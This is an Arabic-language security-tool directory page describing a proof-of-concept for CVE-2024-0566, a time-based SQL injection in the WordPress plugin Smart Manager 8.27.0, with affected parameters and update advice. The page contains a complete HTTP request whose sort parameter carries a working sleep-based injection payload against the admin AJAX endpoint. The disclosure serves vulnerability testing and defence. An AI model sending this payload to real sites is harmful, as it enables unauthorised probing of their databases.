Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-0566 — استغلال إثبات المفهوم لـ CVE-2024-0566، وهو حقن SQL زمني بعد المصادقة في إضافة Smart Manager 8.27.0 لـ WordPress. يوضح الحقن عبر معاملات الفرز في نقطة نهاية AJAX الخاصة بالمسؤول. | Kitploit
أدوات/GitHubGitHub/xbz0n/cve-2024-0566
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubxbz0n/cve-2024-0566

CVE-2024-0566

استغلال إثبات المفهوم لـ CVE-2024-0566، وهو حقن SQL زمني بعد المصادقة في إضافة Smart Manager 8.27.0 لـ WordPress. يوضح الحقن عبر معاملات الفرز في نقطة نهاية AJAX الخاصة بالمسؤول.

عرض المستودع
12منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-0566 Smart Manager 8.27.0 - حقن SQL بعد المصادقة

عنوان الاستغلال: Smart Manager 8.27.0 - حقن SQL بعد المصادقة
التاريخ: 2024-01-18
مؤلف الاستغلال: Ivan Spiridonov - xbz0n
الصفحة الرئيسية للبائع: https://www.storeapps.org/
رابط البرنامج: https://www.storeapps.org/product/smart-manager/
الإصدار: 8.27.0
تم الاختبار على: Ubuntu 22.04
CVE: CVE-2024-0566

حقن SQL

لا يقوم المكوّن الإضافي بتنظيف المعامل وهروبه بشكل صحيح قبل استخدامه في جملة SQL، مما يؤدي إلى حقن SQL قابل للاستغلال من قبل المستخدمين ذوي الصلاحيات العالية مثل المسؤول.

المكونات المتأثرة

  • المكوّن الإضافي: Smart Manager
  • الإصدار: 8.27.0
  • المعاملات المتأثرة: 'sort_params%5BsortOrder%5D', 'sort_params%5Bcolumn%5D'
  • نقطة النهاية المتأثرة: /wp-admin/admin-ajax.php

الوصف

تقع الثغرة داخل نقطة نهاية AJAX الخاصة بالإدارة في معاملات الفرز 'sort_params%5BsortOrder%5D' و 'sort_params%5Bcolumn%5D'. من خلال التلاعب بهذه المعاملات، يمكن للمهاجمين المصادق عليهم حقن أوامر SQL، مما يؤدي إلى ثغرة حقن SQL قائمة على الوقت.

إثبات المفهوم

الاستغلال اليدوي

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=sm_beta_include_file HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/admin.php?page=smart-manager
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1117
Origin: http://localhost
Connection: close
Cookie: Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
cmd=get_data_model&active_module=product&security=37e8d818b7&is_public=1&sm_page=1&sm_limit=50&SM_IS_WOO30=true&sort_params%5Bcolumn%5D=postmeta%2Fmeta_key%3D_tax_status%2Fmeta_value%3D_tax_status&sort_params%5BsortOrder%5D=asc%2c(select*from(select(sleep(20)))a)&table_model%5Bposts%5D%5Bpkey%5D=ID&table_model%5Bposts%5D%5Bjoin_on%5D=&table_model%5Bposts%5D%5Bwhere%5D%5Bpost_type%5D%5B%5D=product&table_model%5Bposts%5D%5Bwhere%5D%5Bpost_type%5D%5B%5D=product_variation&table_model%5Bposts%5D%5Bwhere%5D%5Bpost_status%5D=any&table_model%5Bpostmeta%5D%5Bpkey%5D=post_id&table_model%5Bpostmeta%5D%5Bjoin_on%5D=postmeta.post_ID+%3D+posts.ID&table_model%5Bterm_relationships%5D%5Bpkey%5D=object_id&table_model%5Bterm_relationships%5D%5Bjoin_on%5D=term_relationships.object_id+%3D+posts.ID&table_model%5Bterm_taxonomy%5D%5Bpkey%5D=term_taxonomy_id&table_model%5Bterm_taxonomy%5D%5Bjoin_on%5D=term_taxonomy.term_taxonomy_id+%3D+term_relationships.term_taxonomy_id&table_model%5Bterms%5D%5Bpkey%5D=term_id&table_model%5Bterms%5D%5Bjoin_on%5D=terms.term_id+%3D+term_taxonomy.term_id&search_text=&advanced_search_query=%5B%5D&is_view=0&isTasks=0&is_taxonomy=0

إذا تأخر استجابة الخادم حوالي 20 ثانية، فهذا يشير إلى نجاح استغلال حقن SQL القائم على الوقت، مما يؤكد وجود الثغرة.

التوصيات

يُنصح بشدة مستخدمو Smart Manager v8.27.0 بتقييد الوصول إلى نقطة النهاية المتأثرة وتحديث المكوّن الإضافي إلى أحدث إصدار.

تنزيل الأداة